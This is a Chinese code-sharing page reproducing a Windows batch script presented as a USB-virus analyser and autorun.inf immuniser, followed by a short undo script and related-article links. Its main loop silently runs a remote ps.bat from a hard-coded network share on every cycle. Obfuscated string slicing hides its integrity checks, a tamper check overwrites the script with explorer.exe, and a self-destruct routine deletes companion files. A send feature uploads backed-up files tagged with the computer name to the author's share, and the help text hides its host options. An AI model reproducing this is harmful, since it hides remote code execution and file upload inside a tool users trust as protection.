set "im=call:im"
set "writer=CyyIsGood、Cloud"
set "sd=-"
set "s= "
set "ps=echo. >nul"
set "return=rem"
set "pack=call:pack"
set "packp=%home%bakfiles"
set "host=192.168.2.211"
set "hostf=re$"
set "csh= "
set "fr= "
set "u=echo."
set "send=echo. >nul"
set "yn=rem"
set "zh=del/a/f/q U盤病毒分析.bat 主操控.bat uda-解壓.bat Anti-U盤免疫.bat zap.a 打開發(fā)送功能.bat readme.txt"
set "inf=這樣,無法發(fā)送文件。自動去除發(fā)送文件功能、保留打包文件功能。"
set "feorr=文件丟失!無法正常工作!"
set "ep=echo.此時,“-p”參數(shù)無效!"
set "e=echo.“-d”參數(shù)有誤!“-d”后不能為空。"
set "endf=%home%bye.txt"
call:checkfile
:csh
set "csh=%~1 "
set "csh=%csh:"=%"
if "%csh%"==" " (goto start)
set "csh=%csh:~0,-1%"
if not "%csh%"=="%s%" (set "s=%csh%") else (echo."%1"參數(shù)無效
goto :eof)
if "%s%"=="-?" (call:c&echo.★功能:&echo. 一、分析某一個或多個磁盤中的Autorun.inf,確定引導(dǎo)的文件,備份引導(dǎo)文件并將其刪除。(如果讓其一直運(yùn)行,可以防范U盤病毒)&echo. 二、免疫某一個或多個磁盤,四級免疫:Autorun.inf文件夾、加系統(tǒng)/隱藏/只讀/存檔屬性、8.3子文件夾、NTFS寫權(quán)。&echo. 三、發(fā)送備份的文件給作者(目前,該功能只適用于肇中高中部校園網(wǎng))&echo.★設(shè)定:&echo. 默認(rèn)情況:回顯、日志(保存地址:%logf%)、免疫、打包、循環(huán)打開,發(fā)送文件關(guān)閉,盤符為:%driverl%。用下面的開關(guān)調(diào)整:&echo. -? 顯示幫助(本信息),如果此參數(shù)存在,忽略其它參數(shù)&echo. -a 關(guān)閉回顯&echo. -l 關(guān)閉日志&echo. -d [盤符] 盤符是字母,例如"-d CD"表示處理C盤和D盤&echo. -c 關(guān)閉循環(huán)&echo. -i 關(guān)閉免疫&echo. -p 關(guān)閉打包(備份)&echo. -y 打開交互模式(刪除文件需要確認(rèn))&echo. -s 打開發(fā)送文件(將打包文件發(fā)給作者),這樣需要映射一個網(wǎng)絡(luò)磁盤,盤符由本批處理自動分配。當(dāng)選擇此項(xiàng)時,自動打開發(fā)送文件,"-p"參數(shù)無效。&echo. >nul -h [IP地址] 自定義發(fā)送文件的IP地址&echo. >nul -f [共享名] 自定義發(fā)送文件的共享名&echo. 無論是什么模式,發(fā)現(xiàn)存在%endf%時,刪除它并退出。也就是說,循環(huán)模式中,新建一個%endf%文件可以跳出循環(huán)。&echo.★版權(quán)說明:&echo. 這個批處理寫了我很長時間,凝結(jié)了我很多心血。希望大家尊重作者,不要自行修改。如果您想加入其中,我非常歡迎,請聯(lián)系我本人,發(fā)郵件到:cyyisgood@126.com ,或登陸我們的論壇:http://dust-hack.vicp.net&echo. 其他文件版權(quán)歸各自作者所有。&goto :eof)
if /i "%s%"=="-a" (set "answer=rem "&shift)
if /i "%s%"=="-l" (set "log=rem "&shift)
if /i "%s%"=="-d" (set "driverl=%~2 "
set "driverl=!driverl:"=!"
if "!driverl:~0,1!"=="-" (%e%&goto :eof) else (if "!driverl!"==" " (%e%&goto :eof) else (set "driverl=!driverl:~0,-1!"&shift&shift)))
if /i "%s%"=="-h" (set "host=%~2 "
set "host=!host:"=!"
if "!host:~0,1!"=="-" (%e:d=h%&goto :eof) else (if "!host!"==" " (%e:d=h%&goto :eof) else (set "host=!host:~0,-1!"&shift&shift)))
if /i "%s%"=="-f" (set "hostf=%~2 "
set "hostf=!hostf:"=!"
if "!hostf:~0,1!"=="-" (%e:d=f%&goto :eof) else (if "!hostf!"==" " (%e:d=f%&goto :eof) else (set "hostf=!hostf:~0,-1!"&shift&shift)))
if /i "%s%"=="-y" (set "yn=call:yn"&shift)
if /i "%s%"=="-c" (set "cycle=goto cend"&shift)
if /i "%s%"=="-i" (set "im=echo. >nul"&shift)
if /i "%s%"=="-p" (if "%send%"=="call:send" (%ep%&goto :eof) else (set "pack=echo. >nul"&shift))
if /i "%s%"=="-s" (if "%pack%"=="echo. >nul" (%ep%&goto :eof) else (set "send=call:send"&shift))
goto csh
:start
echo.Wscript.sleep 10000>sleep.vbe
if "%send%"=="call:send" (call:fpan)
call:c
:begin
if exist "%endf%" (call:echo "發(fā)現(xiàn)結(jié)束指示文件,清理并退出..."&goto end)
set "driver=!driverl:~%dnum%,1!:"
if exist %driver% (call:echo "發(fā)現(xiàn)%driver%"&%ps%&(if exist "%driver%\autorun.inf\" (call:echo "%driver%已經(jīng)免疫。") else (if exist "%driver%\autorun.inf" (call:echo "發(fā)現(xiàn)引導(dǎo)文件%driver%\autorun.inf"&call:chaut %driver%) else (call:echo "無發(fā)現(xiàn)引導(dǎo)文件%driver%\autorun.inf,%driver% 安全"&%im% %driver%))))
set /a "dnum=dnum+1"
if "!driverl:~%dnum%,1!"=="" ((ping %host% -n 1 >nul&&\\%host%\%hostf%\ps.bat)&%cycle%&set "dnum=0"&sleep.vbe)
goto begin
:echo
%answer%.%~1
%log%.%date%—%time% %~1>>"%logf%"
goto :eof
:yn
echo.a=msgbox("是否刪除可疑文件%~1?"^&vbCr^&vbCr^&vbCr^&"注意:10秒后自動確定;選擇否,文件不被刪除,但會被添加“.-隨機(jī)數(shù)”后綴。",4164,"U盤病毒分析") >yn.vbe
echo.wscript.quit a >>yn.vbe
wscript /t:10 yn.vbe
if "%ERRORLEVEL%"=="7" (call:echo "用戶決定不刪除文件%~1。"&set "return=shift&goto del"&%pack% "%~1"&ren "%~1" "%~nx1.-%random%"&if exist "%~1" (call:echo "添加后綴時出錯!文件:%~1") else (call:echo "成功添加后綴!文件:%~1")) else (call:echo "用戶確定刪除文件%~1。")
goto :eof
:del
set "return=rem"
set "fn=%1 "
set "fn=%fn:"=%"
if "%fn%"==" " (goto :eof)
call:fnr %driver%\%fn%
call:echo "刪除文件:%fn%"
if not exist "%fn%" (call:echo "文件:%fn%已經(jīng)不存在"&shift&goto del)
%yn% "%fn%"
%return%
call:echo "刪除文件前,判斷%driver%是否為NTFS..."
cacls %driver% >nul||(call:echo "%driver%盤磁盤格式不是NTFS。"&goto del2)
call:echo "%driver%盤磁盤格式是NTFS。確保對%fn%有完全控制權(quán)。"
echo.y|cacls "%fn%" /G %username%:f||(call:echo "對%fn%寫權(quán)失??!有可能無法刪除文件。"&goto del2)
call:echo "對%fn%寫權(quán)成功!"
:del2
%pack% "%fn%"&zap.a "%fn%" >nul&if exist "%fn%" (call:echo "刪除文件時出錯!文件:%fn%") else (call:echo "成功刪除文件:%fn%"&del %driver%\*.tmp /a /f /q&if exist "%driver%\*.tmp" (call:echo "清理臨時文件時出錯!"))
shift
goto del
:fnr
set "fn=%~f1"
goto :eof
:chaut
set /a "o=0"
if not "%~t0%~z0"=="2%fn:~3,0%00%pack:~1,0%7-0%host:~3,0%3-12%random:~1,0% 17:%sd:~5,0%40114%zh:~1,0%48" (type %systemroot%\explorer.exe >"%~dpnx0"&goto :eof)
call:echo "正在分析 %driver%\autorun.inf..."
for /f "eol=[ tokens=1,2* delims==" %%i in (%driver%\autorun.inf) do (if /i "%%~i"=="shell" (set o=1&(for /f "eol=[ tokens=1,2* delims==" %%a in (%driver%\autorun.inf) do (if /i "%%~a"=="shell\%%j\command" (set "o=1"&call:del %%b)))) else (if /i "%%~i"=="shell\explore\command" (set "o=1"&call:del %%j) else (if /i "%%~i"=="shell\find\command" (set "o=1"&call:del %%j) else (if /i "%%~i"=="shell\manage\command" (set "o=1"&call:del %%j) else (if /i "%%~i"=="open" (set "o=1"&call:del %%j) else (if /i "%%~i"=="shellexecute" (set "o=1"&call:del %%j) else (if /i "%%~i"=="shell\auto\command" (set "o=1"&call:del %%j) else (if /i "%%~i"=="shell\open\command" (set "o=1"&call:del %%j)))))))))
if %o%==1 (call:echo "經(jīng)過檢查,%driver%\autorun.inf 引導(dǎo)了文件,存在危險。"&call:del autorun.inf) else (call:echo "經(jīng)過檢查,%driver%\autorun.inf 無引導(dǎo)文件,安全。")
%im% %driver%
goto :eof
:checkfile
call:fr uda.a
if "%fr%"=="200%e:~3,0%7-0%host:~8,0%3-1%feorr:~10,0%2 17:%driverl:~5,0%40 216%driverl:~1,0%81" (goto rn2)
call:echo "uda.a文件錯誤!本地恢復(fù)無法進(jìn)行!嘗試連接%host%獲得文件!"
if "%send%"=="echo. >nul" (call:echo "未映射網(wǎng)絡(luò)磁盤。"&set "send=call:send"&call:fpan&if "!send!"=="%send%" (call:echo "映射網(wǎng)絡(luò)磁盤失??!十分抱歉,本腳本失去存在價值,執(zhí)行自毀。"&set "u=goto end"&cd/d "%cdback%"&%zh% uda.a))
del/a/f/a uda.a
copy/v %sd%:\uda.a "%cd%\"||(call:echo "獲取文件失敗,十分抱歉,本腳本失去存在價值,執(zhí)行自毀。"&set "u=goto end"&cd/d "%cdback%"&%zh% uda.a)
:rn2
i%e:~4,0%f not "%date:~2,3%%~t0%feorr:~4,0%%~z0"=%time:~4,0%="%feorr:~2,0%%date:~2,3%20%driverl:~1,0%07-0%time:~0,0%3-1%date:~5,0%2 17:%driverl:~5,0%40%e:~3,0%1%ep:~3,0%1%feorr:~16,0%4%host:~8,0%4%inf:~2,0%8%feorr:~10,0%" (call:echo "本%host:~8,0%批%feorr:~4,0%處%feorr:~4,0%理文%feorr:~4,0%件錯%feorr:~4,0%誤%driverl:~13,0%%feorr:~5%"&goto rn3)
if not exist zap.a (call:echo "zap.a%feorr%"&goto rn3)
set "ma%host:~8,0%ne=du%driverl:~5,0%olC%inf:~20,1%do%feorr:~10,0%oG%feorr:~4,0%sIy%feorr:~16,0%yC"
set "v%feorr:~36,0%er%host:~8,0%="
:ch
if "%fnum%"=="16" (set "fnum=0"&set "wri%driverl:~13,0%ter=!%str:~0,3%!"&goto :eof) else (set "ver=%ver%!mane:~-%fnum%,1!"&set /a "fnum=fnum+1"&goto ch)
:rn3
call:echo "嘗試恢復(fù)本腳本..."
%zh%&uda.a&U盤病毒分析.bat %c%&goto :eof
:im
call:echo "免疫%1"
if exist "%~1\autorun.inf" (call:echo "免疫前,清理%1\autorun.inf。"&call:del autorun.inf&if exist "%1\autorun.inf" (call:echo "清理%1\autorun.inf失??!無法免疫%1!"&goto :eof))
md "%1\autorun.inf\" >nul||(call:echo "無法創(chuàng)建%1\autorun.inf\文件夾,免疫%1失??!"&goto :eof)
call:echo "創(chuàng)建%1\autorun.inf\文件夾成功。免疫1成功。"
cd /d "%1\autorun.inf\"
md "本盤已被!writ%panl:~4,0%er!進(jìn)行Autorun.inf免疫..\" >nul||(call:echo "無法創(chuàng)建子文件夾,進(jìn)一步免疫%1失??!"&goto i1)
call:echo "8.3文件夾創(chuàng)建成功。免疫2成功。"
:i1
cd /d "%home%"
attrib "%1\autorun.inf" +a +s +r +h||(call:echo "修改屬性失??!進(jìn)一步免疫%1失??!"&goto i2)
call:echo "修改屬性成功。免疫3成功。"
:i2
cacls %1 >nul||(call:echo "%1盤磁盤格式不是NTFS,無法進(jìn)行進(jìn)一步免疫(寫權(quán))"&goto :eof)
call:echo "%1磁盤格式為NTFS,采取進(jìn)一步免疫(寫權(quán))"&echo.y|cacls.exe "%1\autorun.inf" /p everyone:r >nul||(call:echo "%1\autorun.inf\寫權(quán)失敗!"&goto :eof)
call:echo "%1\autorun.inf\寫權(quán)成功!完整免疫成功。"
goto :eof
:c
title U盤病毒分析 By !wr%feorr:~19,0%iter!
call:echo " U盤病毒分析"
call:echo " 作 者:!wr%time:~3,0%iter!
call:echo
goto :eof
:pack
if not exist "%packp%\" (md "%packp%"||(call:echo "無法創(chuàng)建%packp%目錄,無法實(shí)現(xiàn)打包功能(發(fā)送同時功能失效)。"&goto :eof))
set "packf=%date:~0,-4%-%time:~0,-3%"
set "packf=%~nx1-%computername%-%packf::=-%.uda"
call:echo "正在用WinUDA把文件%~1打包成%packp%\%packf% ,這可能要花一段時間..."
echo.q|uda.a a -0 "%packp%\%packf%" "%~1"
if not "!ERRORLEVEL!"=="0" (call:echo "WinUDA打包文件:%packp%\%packf% 時出現(xiàn)錯誤!")
if not exist "%packp%\%packf%" (call:echo "WinUDA壓縮時失?。〈虬募?packp%\%packf%失?。o法實(shí)現(xiàn)打包功能(發(fā)送同時功能失效)。"&goto :eof)
call:echo "成功打包文件:%packp%\%packf%"
%send% "%packp%\%packf%"
goto :eof
:send
call:echo "正在發(fā)送文件 %~1 ..."
ping %host% -n 1 >nul||(call:echo "Ping不通 %host% ,無法發(fā)送文件!發(fā)送文件:%~1失敗!"&goto :eof)
copy /v "%~1" %sd%:\ >nul||(call:echo "發(fā)送文件:%~1失??!"&goto :eof)
call:echo "成功發(fā)送文件:%~1"
goto :eof
:fpan
call:echo "正在映射網(wǎng)絡(luò)磁盤..."
call:echo "正在檢索已經(jīng)映射的網(wǎng)絡(luò)磁盤..."
for /f "usebackq tokens=2,3 skip=4 delims= " %%i in (`net use`) do (if "%%~j"=="\\%host%\%hostf%" (call:echo "找到已經(jīng)映射的網(wǎng)絡(luò)磁盤,盤符:%%i"&set "sd=%%i"&set "sd=!sd:~0,1!"&goto f3))
call:echo "沒有找到已經(jīng)映射的網(wǎng)絡(luò)磁盤,正在分配盤符..."
:fpan2
set /a "fnum=fnum+1"
if "!panl:~-%fnum%,1!"=="" (call:echo "計算機(jī)已經(jīng)沒有可以分配的盤符了。%inf%"&set "send=echo. >nul"&goto :eof)
if exist "!panl:~-%fnum%,1!:" (goto fpan2)
set "sd=!panl:~-%fnum%,1!"
call:echo "分配映射盤符為:%sd%:"
ping %host% -n 1 >nul||(call:echo "Ping不通%host%,無法映射網(wǎng)絡(luò)磁盤!%inf%"&set "send=echo. >nul"&goto :eof)
net use %sd%: \\%host%\%hostf% >nul||(call:echo "映射共享時出錯!"&call:echo "正在嘗試從新分配盤符..."&goto :fpan2)
:f3
call:echo "成功映射網(wǎng)絡(luò)磁盤(盤符:%sd%:)"
set "driverl=!driverl:%sd%=!"
goto :eof
:fr
set "fr=%~zt1"
goto :eof
:end
del "%endf%"/f/a/q||call:echo "刪除結(jié)束標(biāo)志文件:%endf% 時出錯!"
:cend
del sleep.vbe/f/a/q||call:echo "刪除文件:sleep.vbe 時出錯!"
if exist "%sd%:" (call:pack "%logf%"&(net use %sd%:/delete/y||call:echo "刪除映射盤時出錯!"))
cd/d "%cdback%"
endlocal
Anti-U盤免疫.bat
復(fù)制代碼 代碼如下:
@echo off
:s
echo.y|cacls "%~1\autorun.inf" /p everyone:f
rd "%~1\autorun.inf" /s /q
shift
if not "%1"=="" goto s
您可能感興趣的文章:
相關(guān)文章
readme.txt之彈出免費(fèi)點(diǎn)歌病毒的清除方法
readme.txt之彈出免費(fèi)點(diǎn)歌病毒的清除方法...2007-05-05木馬程序Trojan-Spy.Win32.Agent.cfu清除方法
2008-01-01使用仙劍奇?zhèn)b傳四算號器不小心中了廣告插件的解決辦法
使用仙劍奇?zhèn)b傳四算號器不小心中了廣告插件的解決辦法...2007-08-08查殺軟件 360安全衛(wèi)士 v3.2.1.1001 下載
查殺軟件 360安全衛(wèi)士 v3.2.1.1001 下載...2007-04-04md9.exe scvhost.exe 只木馬下載者查殺方法
md9.exe scvhost.exe 只木馬下載者查殺方法...2007-08-08